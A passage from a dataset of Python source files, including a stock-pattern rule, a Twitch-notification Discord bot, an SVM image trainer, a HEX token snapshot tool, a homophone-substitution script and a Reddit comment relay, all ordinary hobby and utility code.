show_image(predictions, self.network.test_labels, self.network.test_images)\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"21400422","text":"# -*- coding: utf-8 -*-\nimport gl\nimport collections\n\nAnlyoutmap = collections.OrderedDict() \nAnlymdymap = collections.OrderedDict() \nAnly_days = gl.Anly_days_62\nrulen = 'rule62'\n\n'''10天K线平(当日振幅<2%,价格偏离<1%)'''\ndef rule_62(code, Anlyinmap):\n\n max_n = max(Anlyinmap.keys())\n days = Anly_days + gl.Anly_days_add\n #天数不够\n if max_n+1 < days: \n return\n #end if\n for i in range(days):\n Anlymdymap[i] = Anlyinmap[max_n+1 - days + i]\n #end for\n \n 振幅 = 1.02\n 偏离 = 1.01\n cnt = 0\n Anlyoutmap.clear()\n for (d,x) in Anlymdymap.items():\n #d从0开始\n if d <= 8:\n continue\n else:\n xpre9 = Anlymdymap[d-9]\n xpre8 = Anlymdymap[d-8]\n xpre7 = Anlymdymap[d-7]\n xpre6 = Anlymdymap[d-6]\n xpre5 = Anlymdymap[d-5]\n xpre4 = Anlymdymap[d-4]\n xpre3 = Anlymdymap[d-3]\n xpre2 = Anlymdymap[d-2]\n xpre1 = Anlymdymap[d-1]\n\n 开pre9 = xpre9['基K'][0]\n 收pre9 = xpre9['基K'][3]\n \n 开pre8 = xpre8['基K'][0]\n 收pre8 = xpre8['基K'][3]\n \n 开pre7 = xpre7['基K'][0]\n 收pre7 = xpre7['基K'][3]\n \n 开pre6 = xpre6['基K'][0]\n 收pre6 = xpre6['基K'][3]\n \n 开pre5 = xpre5['基K'][0]\n 收pre5 = xpre5['基K'][3]\n \n 开pre4 = xpre4['基K'][0]\n 收pre4 = xpre4['基K'][3]\n \n 开pre3 = xpre3['基K'][0]\n 收pre3 = xpre3['基K'][3]\n \n 开pre2 = xpre2['基K'][0]\n 收pre2 = xpre2['基K'][3]\n \n 开pre1 = xpre1['基K'][0]\n 收pre1 = xpre1['基K'][3]\n \n 开 = x['基K'][0]\n 收 = x['基K'][3]\n \n 价pre9 = 0.5*(开pre9 + 收pre9)\n 价pre8 = 0.5*(开pre8 + 收pre8)\n 价pre7 = 0.5*(开pre7 + 收pre7)\n 价pre6 = 0.5*(开pre6 + 收pre6)\n 价pre5 = 0.5*(开pre5 + 收pre5)\n 价pre4 = 0.5*(开pre4 + 收pre4)\n 价pre3 = 0.5*(开pre3 + 收pre3)\n 价pre2 = 0.5*(开pre2 + 收pre2)\n 价pre1 = 0.5*(开pre1 + 收pre1)\n 价 = 0.5*(开 + 收)\n \n if max(开pre9,收pre9) < 振幅*min(开pre9,收pre9) and \\\n max(开pre8,收pre8) < 振幅*min(开pre8,收pre8) and \\\n max(开pre7,收pre7) < 振幅*min(开pre7,收pre7) and \\\n max(开pre6,收pre6) < 振幅*min(开pre6,收pre6) and \\\n max(开pre5,收pre5) < 振幅*min(开pre5,收pre5) and \\\n max(开pre4,收pre4) < 振幅*min(开pre4,收pre4) and \\\n max(开pre3,收pre3) < 振幅*min(开pre3,收pre3) and \\\n max(开pre2,收pre2) < 振幅*min(开pre2,收pre2) and \\\n max(开pre1,收pre1) < 振幅*min(开pre1,收pre1) and \\\n max(开,收) < 振幅*min(开,收) and \\\n max(价pre9,价) < 偏离*min(价pre9,价) and \\\n max(价pre8,价) < 偏离*min(价pre8,价) and \\\n max(价pre7,价) < 偏离*min(价pre7,价) and \\\n max(价pre6,价) < 偏离*min(价pre6,价) and \\\n max(价pre5,价) < 偏离*min(价pre5,价) and \\\n max(价pre4,价) < 偏离*min(价pre4,价) and \\\n max(价pre3,价) < 偏离*min(价pre3,价) and \\\n max(价pre2,价) < 偏离*min(价pre2,价) and \\\n max(价pre1,价) < 偏离*min(价pre1,价) :\n \n Anlyoutmap[x['date']] = [rulen, '10天K线平']\n cnt = cnt + 1\n #endof 'if'\n #end of \"for\"\n\n if cnt > 0:\n head = \"出现日期\\t规则ID\\t规则名称\\n\"\n with open(gl.path_rule_rst + code + \"_\" + rulen + \".txt\", 'w') as out:\n out.write(head)\n for (d,x) in Anlyoutmap.items():\n tmpstr = d + \"\\t\" + \"\\t\".join(str(i) for i in x) + \"\\n\"\n out.write(tmpstr)\n #end of \"for\"\n #end of \"with\"\n #endof 'if'\n#end of \"def\"\n","sub_path":"ruleLib/rule62.py","file_name":"rule62.py","file_ext":"py","file_size_in_byte":4161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"153319705","text":"from discord.ext import commands\nfrom cogs.utils.twitch_client import TwitchClient\n\nimport asyncio\nimport configparser\nimport discord\nimport datetime\n\nparser = configparser.ConfigParser()\nparser.read('config/userconfig.ini')\n\ndescription = \"\"\"Discord Stream Server Manager\"\"\"\n\nclass MyBot(commands.Bot):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n # create the background task and run it in the background\n self.bg_task = self.loop.create_task(self.twitch_queue())\n\n async def on_ready(self):\n print('Logged in as')\n print(self.user.name)\n print(self.user.id)\n print('------')\n self.stream_id = None\n await self.change_presence(game=discord.Game(name='Type ~help in #Bot_Stuff'))\n\n async def twitch_queue(self):\n await self.wait_until_ready()\n twitch_client = TwitchClient(client_id=parser.get('twitch', 'client_id'),\n bearer_token=parser.get('twitch', 'bearer_token'))\n channel = bot.get_channel(id=319684349308174337)\n while not self.is_closed():\n stream = await twitch_client.get_streams(user_login='kuenaimaku')\n if stream:\n if self.stream_id != stream['id']:\n self.stream_id = stream['id']\n user = await twitch_client.get_users(user_login='kuenaimaku')\n game = await twitch_client.get_games(game_id=stream['game_id'])\n stream_notification = await twitch_client.get_stream_live_notifications(user_id=user['id'])\n communities = []\n for community_id in stream['community_ids']:\n community = await twitch_client.get_communities(community_id=community_id)\n communities.append(community['display_name'])\n community_as_string = ', '.join(communities)\n em = discord.Embed(title=stream['title'], url='https://www.twitch.tv/{}'.format(user['login']),\n description=\"\\u200b\")\n em.add_field(name='Playing', value=game['name'], inline=True)\n em.add_field(name='Viewers', value=stream['viewer_count'], inline=True)\n em.set_thumbnail(url=user['profile_image_url'])\n em.set_image(url=stream['thumbnail_url'].format(width=1280, height=720) + '?_={}'.format(int(datetime.utcnow().timestamp())))\n em.set_author(name=user['display_name'], url='https://www.twitch.tv/{}'.format(user['login']),\n icon_url=\"http://i.imgur.com/bDQSocD.png\")\n footer = community_as_string\n em.set_footer(text=footer, icon_url=\"http://i.imgur.com/RfuxdEe.png\")\n message = await channel.send(content=\"@here {}\".format(stream_notification['message']), embed=em)\n await asyncio.sleep(60)\n\nbot = MyBot(command_prefix='~', description=description,self_bot=False)\n\n\ninitial_extensions = [\n 'cogs.channels',\n 'cogs.text',\n 'cogs.kitsu'\n]\n\nif __name__ == '__main__':\n for extension in initial_extensions:\n try:\n bot.load_extension(extension)\n except Exception as e:\n print('Failed to load extension {}\\n{}: {}'.format(extension, type(e).__name__, e))\n bot.run(parser.get('discord', 'token'))","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"187808018","text":"import numpy as np\nfrom skimage.viewer import ImageViewer\nimport matplotlib.pyplot as plt\nfrom scipy import ndimage as ndi\nimport os\nfrom skimage import io, feature, color, exposure, filters\nfrom sklearn import svm\nfrom joblib import dump\n\nimgSize = 13\n\n# read all training data from the npy files\nprint('Reading all npy files...', end='\\r')\nwith open('npy/train_img.npy', 'rb') as f:\n train_img = np.load(f)\nwith open('npy/train_labels.npy', 'rb') as f:\n train_labels = np.load(f)\nprint('Done reading all npy files.')\n\n# Put train images through filters and save them in train_img_edges.\ntrain_img_edges = np.empty((len(train_img), imgSize, imgSize ))\nfor i in range(len(train_img)):\n img = color.rgb2gray(train_img[i])\n p2, p98 = np.percentile(img, (2, 98))\n img_rescale = exposure.rescale_intensity(img, in_range=(p2, p98))\n edges = filters.sobel(img_rescale)\n train_img_edges[i] = edges\n percentage = round(i/(len(train_img)-1)*100, 2)\n print('Loading all traininging images: [{}{}{}] {}'.format( ('=' * int(percentage//10) ), ('>' if percentage < 100 else ''), ('.' * int(10-(((percentage)//10))-1)), percentage ), end='\\r')\nprint('\\nDone loading all traininging images.')\ntrain_img_edges = np.reshape(train_img_edges, (len(train_img_edges), (len(train_img_edges[0])*len(train_img_edges[0][0]))))\n\n# Train the SMV.\nprint('Training SVM.', end='\\r')\nclf = svm.SVC(gamma=0.001, C=100)\nclf.fit(train_img_edges, train_labels)\nprint('Done Training SVM.')\n\n# Save traind CLF to file.\ndump(clf, 'npy/clfSobel.joblib')\n","sub_path":"SobelTrain.py","file_name":"SobelTrain.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"297638221","text":"#get number of test cases\r\ntest_cases = int(input())\r\ninput_array = []\r\n#repeat the process for the number of test cases\r\nfor k in range(1, test_cases+1):\r\n current_input = int(input())\r\n input_array.append(current_input)\r\nfor z in range(1,len(input_array)+1):\r\n #get number from the sheep\r\n number = input_array[z-1] \r\n #array to store the numbers that have appeared\r\n number_array = []\r\n #test the number from 1 to 10 times to see if all the numbers are accounted for\r\n for i in range(1, 101):\r\n #current number multipled by N + i\r\n current_number = str(number * i)\r\n for j in current_number:\r\n if j not in number_array:\r\n number_array.append(j)\r\n #check to see if all the integers have appeared after this number\r\n if len(number_array) == 10:\r\n print (\"Case #{0}: {1}\".format(z, current_number))\r\n break\r\n if len(number_array) != 10:\r\n print (\"Case #{0}: INSOMNIA\".format(z))\r\n \r\n \r\n","sub_path":"codes/CodeJamCrawler/16_0_1/chngzm/gcj_counting_sheep.py","file_name":"gcj_counting_sheep.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"35742185","text":"from datetime import datetime\n\nfrom hex2x_backend.tokenholders.models import TokenStakeStart, TokenStakeEnd, TokenTransfer, TokenTransferHex2t\nfrom hex2x_backend.tokenholders.common import HEX_WIN_TOKEN_ADDRESS\nfrom .models import HexUser, SnapshotOpenedStake, SnapshotAddressHexBalance, SnapshotAddressSharesBalance, \\\n SnapshotStake, SnapshotUser, SnapshotUserTestnet, SnapshotAddressHex2tBalance\nfrom holder_parsing import get_hex_balance_for_address, get_hex_balance_for_multiple_address\nfrom .signing import get_user_signature\nfrom .web3int import W3int\nfrom holder_parsing import load_hex_contract\n\nETHEREUM_ZERO_ADDRESS = '0x0000000000000000000000000000000000000000'\n\n\ndef regenerate_db_amount_signatures():\n all_users = HexUser.objects.all().order_by('id')\n\n w3 = W3int('parity')\n hex_contract = load_hex_contract(w3.interface)\n\n for hex_user in all_users:\n try:\n print('Progress: {curr}/{total}'.format(curr=hex_user.id, total=len(all_users)), flush=True)\n #hex_user.hex_amount = get_hex_balance_for_multiple_address(w3.interface, hex_contract, hex_user.user_address)\n hex_user.hex_amount = get_hex_balance_for_address(hex_user.user_address)\n sign_info = get_user_signature('mainnet', hex_user.user_address, int(hex_user.hex_amount))\n hex_user.user_hash = sign_info['msg_hash'].hex()\n hex_user.hash_signature = sign_info['signature']\n hex_user.save()\n except Exception as e:\n print('error in parsing', hex_user.id, hex_user.user_address)\n print(e)\n\n\ndef regenerate_db_amount_signatures_from(count_start, count_stop=None):\n if not count_stop:\n count_stop=HexUser.objects.all().last().id\n\n all_users = HexUser.objects.filter(id__in=list(range(count_start, count_stop)))\n\n w3 = W3int('parity')\n hex_contract = load_hex_contract(w3.interface)\n\n for hex_user in all_users:\n print('Progress: {curr}/{total}'.format(curr=hex_user.id, total=len(all_users)), flush=True)\n hex_user.hex_amount = get_hex_balance_for_multiple_address(w3.interface, hex_contract, hex_user.user_address)\n sign_info = get_user_signature('mainnet', hex_user.user_address, int(hex_user.hex_amount))\n hex_user.user_hash = sign_info['msg_hash'].hex()\n hex_user.hash_signature = sign_info['signature']\n hex_user.save()\n\n\ndef generate_and_save_signature(hex_user, network='mainnet'):\n sign_info = get_user_signature(network, hex_user.user_address, int(hex_user.hex_amount))\n hex_user.user_hash = sign_info['msg_hash'].hex()\n hex_user.hash_signature = sign_info['signature']\n hex_user.save()\n print('user:', hex_user.user_address, 'hash:', hex_user.user_hash, 'signature:', hex_user.hash_signature)\n\n\ndef make_persisted_stake_snapshot():\n started_stakes = TokenStakeStart.objects.all()\n\n for stake in started_stakes:\n\n snapshot_stake = SnapshotStake(\n address=stake.address,\n stake_id=stake.stake_id,\n data0=stake.data0,\n timestamp=stake.timestamp,\n hearts=stake.hearts,\n shares=stake.shares,\n days=stake.days,\n is_autostake=stake.is_autostake,\n tx_hash=stake.tx_hash,\n block_number=stake.block_number\n )\n\n ended_stake = TokenStakeEnd.objects.filter(address=stake.address, stake_id=stake.id)\n\n if len(ended_stake) == 1:\n snapshot_stake.ended = True\n elif len(ended_stake) == 0:\n snapshot_stake.ended = False\n else:\n print('multiple results found for', stake.id, 'skipping')\n\n snapshot_stake.save()\n\n print('Saved stake',\n snapshot_stake.id, snapshot_stake.address, snapshot_stake.stake_id, snapshot_stake.data0,\n snapshot_stake.timestamp, snapshot_stake.hearts, snapshot_stake.shares, snapshot_stake.days,\n snapshot_stake.is_autostake, snapshot_stake.ended, snapshot_stake.tx_hash\n )\n\n\ndef make_balance_snapshot(token='HEX'):\n if token not in ['HEX', 'HEX2T']:\n raise Exception('token must be HEX or HEX2T')\n\n if token == 'HEX':\n all_transfers = TokenTransfer.objects.all().order_by('id')\n else:\n all_transfers = TokenTransferHex2t.objects.all().order_by('id')\n\n print('Balance snapshot started', flush=True)\n print(str(datetime.now()), flush=True)\n for transfer in all_transfers:\n if transfer.parsed:\n print(str(datetime.now()), 'skipping transfer', transfer.id, 'because already parsed', flush=True)\n continue\n if transfer.from_address == transfer.to_address:\n print(str(datetime.now()), 'skipping transfer', transfer.id, 'because from and to addresses matched',\n flush=True)\n continue\n\n if transfer.from_address != ETHEREUM_ZERO_ADDRESS:\n if token == 'HEX':\n snapshot_address_1, created = SnapshotAddressHexBalance.objects.get_or_create(\n address=transfer.from_address)\n else:\n snapshot_address_1, created = SnapshotAddressHex2tBalance.objects.get_or_create(\n address=transfer.from_address)\n snapshot_address_1.balance -= transfer.amount\n snapshot_address_1.save()\n print(str(datetime.now()), 'Block', transfer.block_number, 'transfer', transfer.id,\n 'address_1', snapshot_address_1.address, 'updated, balance:', snapshot_address_1.balance,\n flush=True\n )\n\n if transfer.to_address not in [ETHEREUM_ZERO_ADDRESS, HEX_WIN_TOKEN_ADDRESS]:\n if token == 'HEX':\n snapshot_address_2, created = SnapshotAddressHexBalance.objects.get_or_create(\n address=transfer.to_address)\n else:\n snapshot_address_2, created = SnapshotAddressHex2tBalance.objects.get_or_create(\n address=transfer.to_address)\n snapshot_address_2.balance += transfer.amount\n snapshot_address_2.save()\n print(str(datetime.now()), 'Block', transfer.block_number, 'transfer', transfer.id,\n 'address_2', snapshot_address_2.address, 'updated, balance:', snapshot_address_2.balance,\n flush=True\n )\n\n transfer.parsed = True\n transfer.save()\n\n print('Balance snapshot done', flush=True)\n print(str(datetime.now()), flush=True)\n return\n\n\ndef make_balance_shares_snapshot():\n unique_addresses = [addr['address'] for addr in SnapshotStake.objects.values('address').distinct()]\n unique_addresses_count = len(unique_addresses)\n count = 0\n\n print('Shares snapshot started', str(datetime.now()), flush=True)\n for address in unique_addresses:\n snapshot_address, created = SnapshotAddressSharesBalance.objects.get_or_create(address=address)\n if created:\n snapshot_address.save()\n\n stakes_for_address = SnapshotStake.objects.filter(address=address)\n\n if len(stakes_for_address) > 0:\n for stake in stakes_for_address:\n if not stake.parsed:\n snapshot_address.balance += stake.shares\n stake.parsed = True\n\n snapshot_address.save()\n print(str(datetime.now()), '{id}/{total}'.format(id=count, total=unique_addresses_count),\n 'address', address, 'stakes len', len(stakes_for_address), 'shares amount', snapshot_address.balance,\n flush=True)\n # else:\n # print(\n # str(datetime.now()), '{id}/{total}'.format(id=count, total=unique_addresses_count),\n # 'skipped', flush=True)\n\n count += 1\n\n print('Shares snapshot ended', str(datetime.now()), flush=True)\n\n\ndef make_full_hex_user_snapshot(testnet=False):\n print('Full hex user snapshot started', str(datetime.now()), flush=True)\n\n for user in SnapshotAddressHexBalance.objects.all():\n hex_balance = user.balance if user.balance > 0 else 0\n shares_snapshot = SnapshotAddressSharesBalance.objects.filter(address=user.address)\n share_amount = shares_snapshot.first().balance if shares_snapshot else 0\n total_balance = hex_balance + share_amount\n\n if total_balance == 0:\n print(str(datetime.now()), 'address', user.address, 'skipped because amount is zero', flush=True)\n continue\n\n total_balance = total_balance * 10 ** 10\n\n sign_info = get_user_signature('mainnet', user.address, int(total_balance))\n hash = sign_info['msg_hash'].hex()\n signature = sign_info['signature']\n\n if testnet:\n hex_user = SnapshotUserTestnet(\n user_address=user.address,\n hex_amount=total_balance,\n user_hash=hash,\n hash_signature=signature\n )\n else:\n hex_user = SnapshotUser(\n user_address=user.address,\n hex_amount=total_balance,\n user_hash=hash,\n hash_signature=signature\n )\n\n hex_user.save()\n\n print(str(datetime.now()),\n 'id', hex_user.id, 'address', hex_user.user_address, 'amount', hex_user.hex_amount,\n 'hash', hex_user.user_hash, 'signature', hex_user.hash_signature, flush=True\n )\n\n print('Full hex user snapshot completed', str(datetime.now()), flush=True)\n\n","sub_path":"hex2x_backend/snapshot/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":9516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"41017738","text":"# -*- coding: utf-8 -*- \nimport pypinyin,pymysql,random\n\n#严格模式,真时会匹配音调相同的字,假时则不考虑音调(貌似没用)\nstrict = False\n\n#生成次数,最小值为1\nuser_want = 100\n\n#笔画多不一定是生僻字,所以你可以限制查询的笔画最小值\n#目前能让程序识别生僻字的方法只有引入字频库\n#但大多数情况下,限制数为0也能找到生僻字,限制数太大反而找不到,如\"啊\"\nstrokes_length = 0\n\n#作为偏处女的我不希望看到生成的结果含之前的字符\n#真时程序会尽可能输出不同于之前字符串的字符\ndifferent = True\n\n#在这里输入你想要转换的文本\n#字符递归处理\n#注意,如果遇到一些情况(pypinyin不能将一个字符识别为汉字例如标点符号),会直接输出原字符\nword = str(\"真不错,住在山里真不错啊\")\n\n#变量初始化,勿动\nuser_strokes = strokes_length\n\nif str(user_want).isdigit():\n if user_want <= 0:\n user_want = 1\n else: \n pass\nelse:\n user_want = 1\n\ndb = pymysql.connect(\"localhost\",\"root\",\"123456\",\"xinhua\" )\n\n#主程序\nfor count in range(0,user_want):\n output = ''\n \n for string in word:\n try:\n if strict:\n value = str(pypinyin.pinyin(string)[0][0])\n key = 'pinyin'\n else:\n value = str(pypinyin.pinyin(string,heteronym=True,style=pypinyin.NORMAL)[0][0])\n key = 'notone'\n if different:\n while True:\n search_command = str((\"select * from main where %s = '%s' and strokes >= %s\")%(key,value,strokes_length))\n cursor = db.cursor()\n data_exist = cursor.execute(search_command)\n result = cursor.fetchall()\n no = random.randint(0,len(result) - 1) \n db.commit()\n if str(result[no][1]) == string:\n if strokes_length == 0:\n output += result[no][1]\n break\n else:\n strokes_length -= 1\n continue\n else:\n output += result[no][1]\n break\n user_strokes = strokes_length\n else:\n search_command = str((\"select * from main where %s = '%s' and strokes >= %s\")%(key,value,strokes_length))\n cursor = db.cursor()\n data_exist = cursor.execute(search_command)\n result = cursor.fetchall()\n no = random.randint(0,len(result) - 1) \n db.commit()\n output += result[no][1]\n except ValueError:\n output += string\n print(output)\n","sub_path":"zhenbucuo.py","file_name":"zhenbucuo.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"624710377","text":"import unittest\r\n\r\nfrom graph import Graph as Graph, \\\r\n Vertex as Vertex, \\\r\n GraphPaths as GraphPaths # , \\\r\n# GraphWPaths as GraphWPaths\r\n\r\nclass testGraphBfs1(unittest.TestCase):\r\n def setUp(self):\r\n self.gLocal = \\\r\n Graph.gBuild( [\r\n Vertex.newV('v1').adjAdd(['v2','v3','v8']),\r\n Vertex.newV('v2').adjAdd(['v1','v8']),\r\n Vertex.newV('v3').adjAdd(['v1','v8']),\r\n Vertex.newV('v4').adjAdd(['v8']),\r\n Vertex.newV('v5').adjAdd(['v6','v7']),\r\n Vertex.newV('v6').adjAdd(['v5','v7','v11']),\r\n Vertex.newV('v7').adjAdd(['v5','v6','v8']),\r\n Vertex.newV('v8').adjAdd(['v1','v2','v3','v4','v7','v10']),\r\n Vertex.newV('v9').adjAdd(['v10','v11']),\r\n Vertex.newV('v10').adjAdd(['v8','v9','v11']),\r\n Vertex.newV('v11').adjAdd(['v6','v9','v10'])\r\n ] )\r\n\r\n def testBfs1(self):\r\n self.assertEqual(\r\n ['v1','v2','v3','v8','v4','v7','v10','v5','v6','v9','v11'],\r\n self.gLocal.bfs('v1')\r\n )\r\n \r\nclass testGraphBfsPaths(unittest.TestCase):\r\n def setUp(self):\r\n self.gLoc1 = \\\r\n GraphPaths.gBuild( [\r\n Vertex.newV('v1').adjAdd(['v2','v3','v4','v8']),\r\n Vertex.newV('v2').adjAdd(['v1','v8']),\r\n Vertex.newV('v3').adjAdd(['v1','v8']),\r\n Vertex.newV('v4').adjAdd(['v1','v5','v8']),\r\n Vertex.newV('v5').adjAdd(['v4','v6','v7','v12']),\r\n Vertex.newV('v6').adjAdd(['v5','v7','v11','v12']),\r\n Vertex.newV('v7').adjAdd(['v5','v6','v8']),\r\n Vertex.newV('v8').adjAdd(['v1','v2','v3','v4','v7','v10','v12']),\r\n Vertex.newV('v9').adjAdd(['v10','v11']),\r\n Vertex.newV('v10').adjAdd(['v8','v9','v11','v12']),\r\n Vertex.newV('v11').adjAdd(['v6','v9','v10']),\r\n\t\t\tVertex.newV('v12').adjAdd(['v5','v10','v6','v8'])\r\n ] )\r\n\r\n def testBfsPaths1(self):\r\n self.assertEqual(\r\n (['v3', 'v1', 'v8', 'v2', 'v4', 'v7', 'v10', 'v12', 'v5', 'v6', 'v9', 'v11'], \\\r\n {'v3': [],\r\n 'v1': ['v1'],\r\n 'v8': ['v8'],\r\n 'v2': ['v1', 'v2'],\r\n 'v4': ['v1', 'v4'],\r\n 'v7': ['v8', 'v7'],\r\n 'v10': ['v8', 'v10'],\r\n 'v12': ['v8', 'v12'],\r\n 'v5': ['v1', 'v4', 'v5'],\r\n 'v6': ['v8', 'v7', 'v6'],\r\n 'v9': ['v8', 'v10', 'v9'],\r\n 'v11': ['v8', 'v10', 'v11']}),\r\n self.gLoc1.bfs('v3')\r\n )\r\n\r\nclass testGraphBfsWPaths(unittest.TestCase):\r\n \"\"\"Tests for weighted simple graphs, to test the \\\"Dijkstra all-points-shortest-paths\\\" computation.\"\"\"\r\n def setUp(self):\r\n self.gLoc1 = \\\r\n GraphWPaths.gBuild( [\r\n Vertex.newV('v1').adjAdd([('v4',2),('v2',3),('v3',10),('v8',9)])\r\n ] )\r\n","sub_path":"graphTest.py","file_name":"graphTest.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"123413440","text":"data = \"DataSet.txt\"\n\ndef readData(data):\n\tx = []\n\twith open(data) as data1 :\n\t for line in data1 :\n\t\t x = line.split()\n\treturn x\n\nanswer = []\nteks = readData(data)\n\nfor x in range(0,len(teks)-1):\n\tword = teks[x]\n\tif x == 0:\n\t\tword = word[0].upper()+word[1:]\n\tif word.isdigit()==True:\n\t\tword = word[::-1]\n\tif word[len(word)-1]==('.'):\n\t\tteks[x+1] = teks[x+1][0].upper() + teks[x+1][1:]\n\tanswer.append(word)\n\nword = teks[len(teks)-1]\nanswer.append(word)\n\nanswer = \" \".join(answer)\nprint(answer)","sub_path":"DataTugas/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"7672199","text":"import fge\nfrom fge import *\nrun_time = 1.0\nrun_times = {}\n\ndef on_init(id):\n global run_times\n global run_time\n run_times[id] = 0\n part = fge.GetParticles(id) \n part.SetRunning(False)\n part.mParticleType = \"Explosion\"\n \n \n\ndef on_update(id, dt):\n global run_times\n if(run_times[id] > 0):\n run_times[id] -= dt*.001\n trans = fge.GetTransform(id)\n pos_my = trans.GetPosition()\n part = fge.GetParticles(id) \n part.SetPosition(pos_my[0],pos_my[1]+10,pos_my[2])\n part.SetRunning(run_times[id] >=0)\n\ndef on_event(id,event):\n if(event.GetType()==\"ContactEvent\"):\n c = event\n if c.mId1 != id and c.mId2 != id: return\n ids = []\n for e in fge.GetEntities(\"Ball\"):\n ids.append(e)\n found = False\n for i in ids:\n if c.mId1 == i or c.mId2 == i:\n found =True\n break\n if(found and (c.mContactType == TriggerEnter or c.mContactType == CollisionEnter)):\n part = fge.GetParticles(id) \n part.SetRunning(True)\n audio = fge.GetAudio(id)\n audio.Load(\"Goal01.mp3\")\n audio.Play()\n audio.Volume(0.2)\n global run_times\n global run_time\n run_times[id] = run_time\n event = fge.GetContainerMatchEvent()\n event.mContainerID = id\n fge.BroadcastEvent(event)\n ","sub_path":"Fighter/Resources/Scripts/goal_logic.py","file_name":"goal_logic.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"269440618","text":"import re,urllib,os,fcntl,json,urllib2,string,time,unicodedata\nurllib.urlcleanup()\nopener = urllib2.build_opener()\nopener.addheaders = [('User-agent', 'robs reddit irc robot')]\nourlisting=json.loads(opener.open('http://www.reddit.com/r/CFB/search.json?q=title%3AGame+Thread&restrict_sr=on&t=day&sort=top').read())\n#ourlisting=json.load(open('savebw'))\ngtr = re.compile(re.escape('game thread'), re.IGNORECASE)\nothers=ourlisting['data']['children'][7:]\nourlisting['data']['children']=ourlisting['data']['children'][:4]\ncmts2send=[]\nfor id in ourlisting['data']['children']:\n\tscore=id['data']['score']\n\ttid=id['data']['id']\n\ttitle=id['data']['title']\t\n\ttitle=re.sub(r'\\([^)]*\\)', '',gtr.sub('',title.replace('[','').replace(']',''))).strip()\n\turl=id['data']['url']\t\n\tif score > 5:\n\t\tcmts=json.loads(opener.open(url+'.json?sort=new&throw='+str(time.time())).read())[1]['data']['children']\n\t\tfor cmt in cmts:\n\t\t\tif 'body' in cmt['data']:\n\t\t\t\tthiscmt=cmt['data']['body']\n\t\t\t\tthiscmt=unicodedata.normalize('NFKD', thiscmt).encode('ascii','ignore')\n\t\t\t\tthiscmt=str(thiscmt[:150]).replace('\\r',' ').replace('\\n',' ').replace('\\t',' ').replace('\\x0b',' ').replace('\\x0c',' ').replace(':','')\n\t\t\t\twhile thiscmt.count(' ') != 0: thiscmt=thiscmt.replace(' ',' ')\n\t\t\t\tif len(cmt['data']['body']) > 150:\n\t\t\t\t\tthiscmt=thiscmt[::-1][thiscmt[::-1].find(\" \"):][::-1]+'...'\n\t\t\t\tthiscmt=thiscmt.strip()\n\t\t\t\tcscore=cmt['data']['ups']-cmt['data']['downs']\n\t\t\t\tcreated=cmt['data']['created_utc']\n\t\t\t\tif cscore > 4: scoreval=cscore/((time.time()-created)/60)\n\t\t\t\telse: scoreval=0\n\t\t\t\tif scoreval > 4:\n\t\t\t\t\t#[msg,channel (all main chans), type(privmsg),identifier(None)]\n\t\t\t\t\t#print thiscmt\n\t\t\t\t\tcmts2send.append([cmt['data']['id'],['\"'+thiscmt+'\" -'+cmt['data']['author']+' ('+title+')',None,'PRIVMSG','comment']])\n\ntry:\n\tfdb=open('/home/fbbot/cfb/db.json','r')\n\tfcntl.flock(fdb, fcntl.LOCK_EX)\n\tdb=json.load(fdb)\n\tfor cmt in cmts2send:\n\t\tif db['cmtsold'].count(cmt[0]) == 0: \n\t\t\tdb['cmtsold'].append(cmt[0])\n\t\t\tfor pers in db['gt_following']:\n\t\t\t\tnewmsg=cmt[1]\n\t\t\t\tnewmsg[1]=pers\n\t\t\t\tdb['msgqueue'].append(newmsg)\n\topen('/home/fbbot/cfb/db.json','w').write(json.dumps(db))\nexcept:\n\tfcntl.flock(fdb, fcntl.LOCK_UN)\nfcntl.flock(fdb, fcntl.LOCK_UN)","sub_path":"updaters/tofollow.py","file_name":"tofollow.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"361395516","text":"import discord\nfrom discord.ext import commands\nimport asyncio\nfrom datetime import datetime, timedelta, date\nfrom .utils import helper_functions as hf\nimport langdetect\nimport re\n\nimport os\n\ndir_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\nCOLOR_CHANNEL_ID = 577382927596257280\nBLACKLIST_CHANNEL_ID = 533863928263082014\n\ndef blacklist_check():\n async def pred(ctx):\n if ctx.author in ctx.bot.get_guild(257984339025985546).members:\n if ctx.guild.id == 257984339025985546 or hf.admin_check(ctx):\n return True\n\n return commands.check(pred)\n\n\nclass Main(commands.Cog):\n \"\"\"My custom cog that does stuff!\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n hf.setup(bot)\n\n @commands.command()\n async def new_help(self, ctx):\n x = self.bot.commands\n msg_dict = {}\n emb = discord.Embed(title='Help', description=\"Type `;help ` for more info on any command or category\")\n for command in x:\n if await command.can_run(ctx) and not command.hidden:\n if command.cog_name in msg_dict:\n msg_dict[command.cog_name].append(command)\n else:\n msg_dict[command.cog_name] = [command]\n for cog in msg_dict:\n str = ''\n for command in 